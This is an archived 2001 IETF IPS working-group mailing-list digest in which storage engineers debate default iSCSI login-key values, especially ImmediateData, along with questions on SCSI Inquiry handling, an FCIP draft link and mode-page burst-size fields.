San Jose Ca > > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > > Home Office (408) 997-6136 > > > Internet address: hufferd@us.ibm.com > > > > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 > 09:50:21 AM > > > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > > > > To: ips@ece.cmu.edu > > > cc: > > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > > This is important > > > for low-end desktops and hardly matters for large boxes. > > > As such I would suggest it stays as yes. > > > > > > Julo > > > > > > > > > > > > "Eddy > > > Quicksall" To: "'Santosh Rao'" > > > , > > > > > > iaone.net> cc: > > > Sent by: Subject: RE: > > > iscsi : iscsi > > > parameter default values > > > owner-ips@ece.c > > > mu.edu > > > > > > > > > 27-09-01 17:22 > > > Please respond > > > to "Eddy > > > Quicksall" > > > > > > > > > > > > > > > > > > I like your defaults below. > > > > > > But, section 5 says: > > > > > > The initial Login request MUST include the InitiatorName and > > > SessionType key=value pairs. > > > > > > Since SessionType is REQUIRED, naming a default would imply a > > > possible typo > > > in the spec. > > > > > > Eddy > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Wednesday, September 26, 2001 10:29 PM > > > To: ips@ece.cmu.edu > > > Subject: iscsi : iscsi parameter default values > > > > > > > > > All, > > > > > > With the issue of mode page vs. login keys having [almost] > > drawn to a > > > close, I would like to > > > raise the below issues again, on the subject of default > > > values for login > > > keys and other iscsi > > > parameters : > > > > > > > > > * In keeping with traditional use of scsi mode pages, > > iscsi should > > > not specify any default > > > settings for any mode pages that continue to exist for iscsi. > > > "Default values" for mode > > > pages are target specific and should not be bound to > > the protocol > > > draft. > > > > > > * MORE IMPORTANTLY, I read the default for EMDP as > being set to 1 > > > :-< This implies that > > > targets must be always prepared to deal with out of > > > order data and > > > initiators must be > > > prepared to deal with out of order data, unless the initiator > > > performs a mode select to > > > disable it. [which defeats all the previous advantages > > > gained thru > > > mandating use of login > > > keys for other negotiations.]. A default, if it were > to exist, > > > should be 0. (in-order, by > > > default). > > > > > > * Conservative specification of defaults for login > keys along the > > > following lines : > > > MaxConnections = 1 > > > FMarker = "no" > > > InitialR2T = "yes" > > > BidiInitialR2T = "yes" > > > ImmediateData = "no" > > > DataPDULength = 16 > > > MaxOutstandingR2T = 1 > > > DataPDUInOrder = "yes" > > > ErrorRecoveryLevel = 0 > > > SessionType = "normal" > > > > > > * Should the iscsi protocol require a "Lun Control Mode > > Page"? IOW, > > > is an EnableCRN bit > > > required at the transport layer ? If the device server > > capability > > > is to be negotiated , I > > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > > "Control Mode Page", through a > > > T10 change as a part of the SCSI changes being > driven by iscsi. > > > > > > Comments ? > > > > > > Thanks, > > > Santosh > > > > > > > > > Santosh Rao wrote: > > > > > > > There are the separate issues of : > > > > > > > > * iscsi's specification of defaults for its mode pages > > > which is not > > > in line with mode page > > > > usage. This impacts the target's ability to enforce > > > values other > > > than the protocol > > > > specified default, if the initiator were to not use mode > > > sense/select. > > > > > > > > * default settings for login keys. > > > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > > "Enable CRN" should be in a > > > > transport specific mode page ? > > > > > > > > which need to be driven to closure as well. > > > > > > > > Regards, > > > > Santosh > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > From owner-ips@ece.cmu.edu Sun Sep 30 17:44:40 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28322 for ; Sun, 30 Sep 2001 17:44:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UKh1h15867 for ips-outgoing; Sun, 30 Sep 2001 16:43:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UKgxP15863 for ; Sun, 30 Sep 2001 16:42:59 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA45482; Sun, 30 Sep 2001 16:40:36 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8UKgws196504; Sun, 30 Sep 2001 14:42:58 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iscsi : iscsi parameter default values To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Sun, 30 Sep 2001 13:42:09 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/30/2001 02:42:57 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Sanjeev, On the contrary, Immediate Data is simple, it permits important performance improvements, and the memory arguments are all old arguments. Perhaps they were valid in the time that FC was being created, but the memory arguments are not now valid. (see my, and Julian's previous notes on this.) Almost every one I know is able to easily code chained Buffer management, which permits the zero copy capability, and with that the rest of Immediate Data handling is very easy since you have the associated command with the data. Using Immediate Data is the simple path, the conservative path. ImmediateData=yes should be the default. We should not be bound by the limitations of previous memory technology. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Sanjeev Bhagat (TRIPACE/Zoetermeer)" @ece.cmu.edu on 09/30/2001 12:50:59 PM Sent by: owner-ips@ece.cmu.edu To: "'Robert Snively'" , Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iscsi : iscsi parameter default values All, I guess this is a very important input from robert. "In FCP, we found that immediate data caused sufficient complexity, both in parsing command structures and in performing error recovery, that we chose not to allow it since there was no performance benefit anyway." Considering this i have a question is immediate data really needed at all? and definitely the default value should be no in this case. Sanjeev -----Original Message----- From: Robert Snively [mailto:rsnively@Brocade.COM] Sent: Sunday, September 30, 2001 7:48 AM To: 'Julian Satran'; ips@ece.cmu.edu Subject: RE: iscsi : iscsi parameter default values Julian, Are not both immediate data and "unsolicited" data outside the command PDU both governed by the first-burst size? If so, the problem remains the same. If you have 50 initiators through each of 10 ports to 50 logical units with 50 commands queued in each with immediate data of 4K bytes, that adds up to a lot of bytes which have to have buffers pre-reserved to allow normal operation. It is the buffer management that is invasive, not the indexing of the buffer contents. It is the dual-copy requirement that is invasive, significantly increasing buffer utilization. For these problems, immediate data and unsolicited data are equivalent. Frankly, I see no functional difference between sending data in the same PDU and sending data in an immediately following PDU. In FCP, we found that immediate data caused sufficient complexity, both in parsing command structures and in performing error recovery, that we chose not to allow it since there was no performance benefit anyway. > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 28, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > Robert, > > Unlike FCP - iSCSI has two forms of unsolicited "immediate" > and "separate > unsolicited". They can be used separately or together. > Immediate data is a single PDU comming together with the > command while the > separate unsolicited may come after. > > FCP has only the second type. > > With separate unsolicited the target has to have the buffers > for the burst > and find the "control blocks" by indexing based on ITT. > > With Immediate data the target has to deal with a single PDU (not the > entire burst). Indexing is not done twice (it is done as a > check for the > Control block that is being built). > > This is why Immediate Data is considered far less invasive > than separate > unsolicited (a single buffer, and no indexing) and give the > performance > boost it gives we are going to see it probably on every target. > > Julo > > > > > Robert Snively > > Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu > ade.com> cc: > > Subject: RE: > iscsi : iscsi parameter default values > 29-09-01 01:31 > > Please respond > > to Robert > > Snively > > > > > > > > > Julian, > > For SCSI Write operations, ImmediateData = yes is > the most demanding mode for the target. If I understand > it correctly, it essentially over-rides the R2T state, > allowing the first burst to be included as immediate data. > In SCSI, except for special cases like this, the target > is the device in charge of data transfers. > > This mode requires the target to have a guaranteed collection of > received buffer space adequate to receive all possible > outbound queued operations from all possible initiators > through all possible target sessions (which may sum to > 1000s of output operations), regardless of what other > buffer-intensive operations may be going on in the device. > > It then requires the device to provide association with each > of those commands instead of just the commands it has elected > to activate. Without immediate data, the command buffer can be > separated and separately managed from the data buffer, > limiting buffer requirements. > > It then requires the device to operate in a non-zero-copy > mode (which raises buffer utilization and increases latency) > while the device analyzes the command to determine what should > be done with the data. It further requires the subsequent > data (if there is more than one PDU to be transmitted) to > be separately managed, and perhaps actually stored in a > separate operation if the buffer must be cleared to make > space available for it. It further requires the target to > analyze the data for completeness before going on to determine > what to do with it. > > Sure, it is easy for the initiator, but so is everything else > except out-of-order reads. > It is the target you are stressing with this. > > For local sub-LANs, and depending on the actual buffering > available in the target, the performance may actually be lower with > ImmediateData allowed, because zero copy behavior of the > target to non-volatile media is not available, which raises > buffer utilization. > > Have I missed something that would change my mind? > > Bob > > > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Friday, September 28, 2001 10:38 AM > > To: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > Robert, > > > > I disagree that Immediate is "the most demanding" mode. That > > is not my > > experience and not what I heard from most of the developers. On the > > contrary immediate data do not require a separate indexing > > operation on the > > target (as non-immediate unsolicited do) and that was the > base for the > > consensus to have them negotiated separately. > > > > For the software initiator it is the most inexpensive way to > > perform short > > data transfers (4-8k) typical for major applications like > > Database access > > and so it is for lightweight target. > > > > Julo > > > > > > > > > > > > Robert Snively > > > > > Hufferd/San Jose/IBM@IBMUS, Julian > > ade.com> > > Satran/Haifa/IBM@IBMIL > > cc: > > ips@ece.cmu.edu > > 28-09-01 17:25 Subject: RE: > > iscsi : iscsi parameter default values > > Please respond > > > > to Robert > > > > Snively > > > > > > > > > > > > > > > > > > I vote no as the default value on ImmediateData. > > > > A default value of yes on ImmediateData requires implementation > > of the most complex and demanding mode of operation as the > > default. SCSI has traditionally made its default behavior the > > simplest and most encompassing, setting more sophisticated > > behavior by subsequent agreement. While it may be your earnest > > desire to encourage the implementation of this function, it > > is not appropriate to demand that as the default behavior > > of all devices. In particular, there is no special benefit > > to providing ImmediateData in low-cost local sub-lans. > > > > If you want to encourage it in a profile, fine, but demanding > > it as the default in the core standard is not appropriate. > > > > Note that the behavior of SCSI is traditionally managed > > entirely by the target. As such, there has never before now > > been a requirement for the target to, as a default, accept > > any PDU except a command or task management function > > that was not explicitly solicited. That is one of the mechanisms > > that assists SCSI in achieving a low-overhead zero copy > > capability while operating with a large number of initiators > > and with deep command queues. > > > > Bob Snively e-mail: rsnively@brocade.com > > Brocade Communications Systems phone: 408 487 8135 > > 1745 Technology Drive > > San Jose, CA 95110 > > > > > > > > > -----Original Message----- > > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > > Sent: Friday, September 28, 2001 1:33 AM > > > To: Julian Satran > > > Cc: ips@ece.cmu.edu > > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > > > I also agree with this. It should be yes. > > > > > > . > > > . > > > . > > > John L. Hufferd > > > Senior Technical Staff Member (STSM) > > > IBM/SSG San Jose Ca > > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > > Home Office (408) 997-6136 > > > Internet address: hufferd@us.ibm.com > > > > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 > 09:50:21 AM > > > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > > > > To: ips@ece.cmu.edu > > > cc: > > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > > This is important > > > for low-end desktops and hardly matters for large boxes. > > > As such I would suggest it stays as yes. > > > > > > Julo > > > > > > > > > > > > "Eddy > > > Quicksall" To: "'Santosh Rao'" > > > , > > > > > > iaone.net> cc: > > > Sent by: Subject: RE: > > > iscsi : iscsi > > > parameter default values > > > owner-ips@ece.c > > > mu.edu > > > > > > > > > 27-09-01 17:22 > > > Please respond > > > to "Eddy > > > Quicksall" > > > > > > > > > > > > > > > > > > I like your defaults below. > > > > > > But, section 5 says: > > > > > > The initial Login request MUST include the InitiatorName and > > > SessionType key=value pairs. > > > > > > Since SessionType is REQUIRED, naming a default would imply a > > > possible typo > > > in the spec. > > > > > > Eddy > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Wednesday, September 26, 2001 10:29 PM > > > To: ips@ece.cmu.edu > > > Subject: iscsi : iscsi parameter default values > > > > > > > > > All, > > > > > > With the issue of mode page vs. login keys having [almost] > > drawn to a > > > close, I would like to > > > raise the below issues again, on the subject of default > > > values for login > > > keys and other iscsi > > > parameters : > > > > > > > > > * In keeping with traditional use of scsi mode pages, > > iscsi should > > > not specify any default > > > settings for any mode pages that continue to exist for iscsi. > > > "Default values" for mode > > > pages are target specific and should not be bound to > > the protocol > > > draft. > > > > > > * MORE IMPORTANTLY, I read the default for EMDP as > being set to 1 > > > :-< This implies that > > > targets must be always prepared to deal with out of > > > order data and > > > initiators must be > > > prepared to deal with out of order data, unless the initiator > > > performs a mode select to > > > disable it. [which defeats all the previous advantages > > > gained thru > > > mandating use of login > > > keys for other negotiations.]. A default, if it were > to exist, > > > should be 0. (in-order, by > > > default). > > > > > > * Conservative specification of defaults for login > keys along the > > > following lines : > > > MaxConnections = 1 > > > FMarker = "no" > > > InitialR2T = "yes" > > > BidiInitialR2T = "yes" > > > ImmediateData = "no" > > > DataPDULength = 16 > > > MaxOutstandingR2T = 1 > > > DataPDUInOrder = "yes" > > > ErrorRecoveryLevel = 0 > > > SessionType = "normal" > > > > > > * Should the iscsi protocol require a "Lun Control Mode > > Page"? IOW, > > > is an EnableCRN bit > > > required at the transport layer ? If the device server > > capability > > > is to be negotiated , I > > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > > "Control Mode Page", through a > > > T10 change as a part of the SCSI changes being > driven by iscsi. > > > > > > Comments ? > > > > > > Thanks, > > > Santosh > > > > > > > > > Santosh Rao wrote: > > > > > > > There are the separate issues of : > > > > > > > > * iscsi's specification of defaults for its mode pages > > > which is not > > > in line with mode page > > > > usage. This impacts the target's ability to enforce > > > values other > > > than the protocol > > > > specified default, if the initiator were to not use mode > > > sense/select. > > > > > > > > * default settings for login keys. > > > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > > "Enable CRN" should be in a > > > > transport specific mode page ? > > > > > > > > which need to be driven to closure as well. > > > > > > > > Regards, > > > > Santosh > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > From owner-ips@ece.cmu.edu Sun Sep 30 18:02:22 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA28526 for ; Sun, 30 Sep 2001 18:02:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ULDY416838 for ips-outgoing; Sun, 30 Sep 2001 17:13:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from va2mc.ummailbox.net (va2mc.ummailbox.net [64.210.247.16]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ULDWP16834 for ; Sun, 30 Sep 2001 17:13:33 -0400 (EDT) Received: from hqmailweb.COMMSTOR.Crossroads.com (HQMailWeb.Crossroads.com [63.237.99.250:25]) by va2mc.ummailbox.net with ESMTP id H0930-1713-4b6e00; Sun, 30 Sep 2001 21:13:28 GMT Received: from HQMAILNODE1.COMMSTOR.Crossroads.com ([10.5.1.42]) by hqmailweb.COMMSTOR.Crossroads.com with Microsoft SMTPSVC(5.0.2195.2966); Sun, 30 Sep 2001 16:13:32 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Disposition-Notification-To: "Lee Xing" Subject: Questions on How iSCSI Should Handle SCSI Inquiry/Mode Sense, etc. Date: Sun, 30 Sep 2001 16:13:27 -0500 Message-ID: Thread-Topic: Help - question on SCSI Inquiry Thread-Index: AcFIbraI8ycCMA+YTEmjF9d6xx220gAqB85wADdEJcA= From: "Lee Xing" To: X-OriginalArrivalTime: 30 Sep 2001 21:13:32.0826 (UTC) FILETIME=[C291AFA0:01C149F4] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8ULDXP16835 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit (I'm sorry if you receive this msg for more than one time. My previous post made on 9/28 was not shown up in the list. Lee) > I have a concern on how iSCSI target sends SCSI Inquiry Data/ > Mode Sense Data/Capacity Data to initiator. I would appreciate > it if someone could help and clear it a bit. The following three > questions, in fact, are for the same concern. > > Q1: > Suppose an iSCSI initiator sends an iSCSI target an iSCSI > PDU which encapsulates a SCSI Inquiry command. In which > type of PDU does the iSCSI initiator expect SCSI inquiry > data to be received? > > - SHOULD/MUST/MAY target send SCSI inquiry data with > SCSI Response PDU, or > - SHOULD/MUST/MAY target send SCSI inquiry data with > a PDU other than SCSI Response PDU? > > The same questions are also for SCSI Mode Sense and > SCSI Read Capacity commands. > > v.07 has 10 different target opcodes available. One of them > is 0x25 SCSI Data-in > > Q2: > There are 10 target opcodes on page 43 of v.07, and two of > them are specified as: > > - 0x21 SCSI Response (contains SCSI status and possibly > sense information or other response information) > - 0x25 SCSI Data-in (for READ operations) > > The question is what this "READ" is for? Is it for reading SCSI > data **only**, or can it be also used to read SCSI Inquiry Data > /Mode Sense Data/Capacity Data, etc.? > > Q3: > If both SCSI Response PDU and 0x25 SCSI Data-in PDU can be > used to read SCSI Inquiry Data/Mode Sense Data/Capacity Data, > how should we specify this in the draft and make it clearer? Adding > a sample for SCSI Inquiry/Mode Sense could be helpful for people > to understand this. > > Thank you. > > > Lee Xing > Crossroads Systems, Inc. > From owner-ips@ece.cmu.edu Sun Sep 30 21:58:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02171 for ; Sun, 30 Sep 2001 21:58:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f911Px325925 for ips-outgoing; Sun, 30 Sep 2001 21:25:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lucy.trebia.com ([65.192.191.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f911PvP25920 for ; Sun, 30 Sep 2001 21:25:57 -0400 (EDT) Received: by lucy with Internet Mail Service (5.5.2653.19) id ; Sun, 30 Sep 2001 21:30:36 -0400 Message-ID: <63616B261CEFD411834D00D0B7A86CF71141C4@lucy> From: Sudhir Srinivasan To: "'ENDL_TX@computer.org'" , IPS Reflector Subject: RE: FCIP rev 06a available Date: Sun, 30 Sep 2001 21:30:35 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > -----Original Message----- > From: Ralph Weber [mailto:ralphoweber@compuserve.com] > Sent: Saturday, September 29, 2001 7:40 AM > To: IPS Reflector > Subject: FCIP rev 06a available > > > Revision 06a of the FCIP draft is available as: > > ftp://ftp.t11.org/t11/pub/fc/bb-2/01-482v1.pdf or > ftp://ftp.t11.org/t11/pub/fc/bb-2/01-482v0.txt Ralph, Presumably you meant: ftp://ftp.t11.org/t11/pub/fc/bb-2/01-482v1.txt Regards, Sudhir From owner-ips@ece.cmu.edu Sun Sep 30 21:58:24 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02186 for ; Sun, 30 Sep 2001 21:58:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f910mo124487 for ips-outgoing; Sun, 30 Sep 2001 20:48:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar1aa.compuserve.com (siaar1aa.compuserve.com [149.174.40.9]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f910mmP24483 for ; Sun, 30 Sep 2001 20:48:48 -0400 (EDT) Received: (from mailgate@localhost) by siaar1aa.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id UAA04186 for ips@ece.cmu.edu; Sun, 30 Sep 2001 20:48:37 -0400 (EDT) Received: from compuserve.com (dal-tgn-tvo-vty33.as.wcom.net [206.175.229.33]) by siaar1aa.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id UAA04176 for ; Sun, 30 Sep 2001 20:48:35 -0400 (EDT) Message-ID: <3BB7BE8D.2B9AB2EE@compuserve.com> Date: Sun, 30 Sep 2001 19:53:33 -0500 From: Ralph Weber Reply-To: ENDL_TX@computer.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win95; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: IPS Reflector Subject: Re: iscsi : default iscsi mode page settings - Consensus call References: <277DD60FB639D511AC0400B0D068B71ECAD7B2@CORPMX14> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I object to the proposal that Maximum Burst Size be made "reserved" in the Disconnect-Reconnect mode page. iSCSI has a Maximum Burst Size and I read SPC-2 to promise applications that such a value will appear in the proper field in the Disconnect-Reconnect mode page. Recourse to the SPI-4 definition of First Burst Size is a lame defense since SPI-4 simply has no First Burst Size concept to present in the Disconnect- Reconnect mode page. First Burst Size was invented for FCP-2 and never had any meaning for the parallel SCSI bus. Since SCSI-2 there has been a promise that the Maximum Burst Size field in the Disconnect-Reconnect mode page will have meaning. Any application that sees zero (the preferred value for "reserved") in that field has every right to assume it means what SPC-2 says zero means, to whit: "A value of zero indicates there is no limit on the amount of data transferred per data transfer operation." I disapprove of the proposal that First Burst Size be made "reserved" in the Disconnect-Reconnect mode page, since iSCSI has a First Burst Size value that could appear in the mode page. But owning to the parallel SCSI usage, the most that can be said about iSCSI making the field reserved is that doing so would be very bad form. There is no basis for insisting that either of these parameters be "changeable" via a MODE SELECT command, and I leave that choice to iSCSI. However, you all might consider remaining silent on the subject and thus allowing vendors whose customers have real needs the option of making the parameters changeable without failing to meet iSCSI compliance tests. Knowing when to say nothing also is part of the art of standards writing. Thanks for your consideration. Ralph Weber SPC-2 technical editor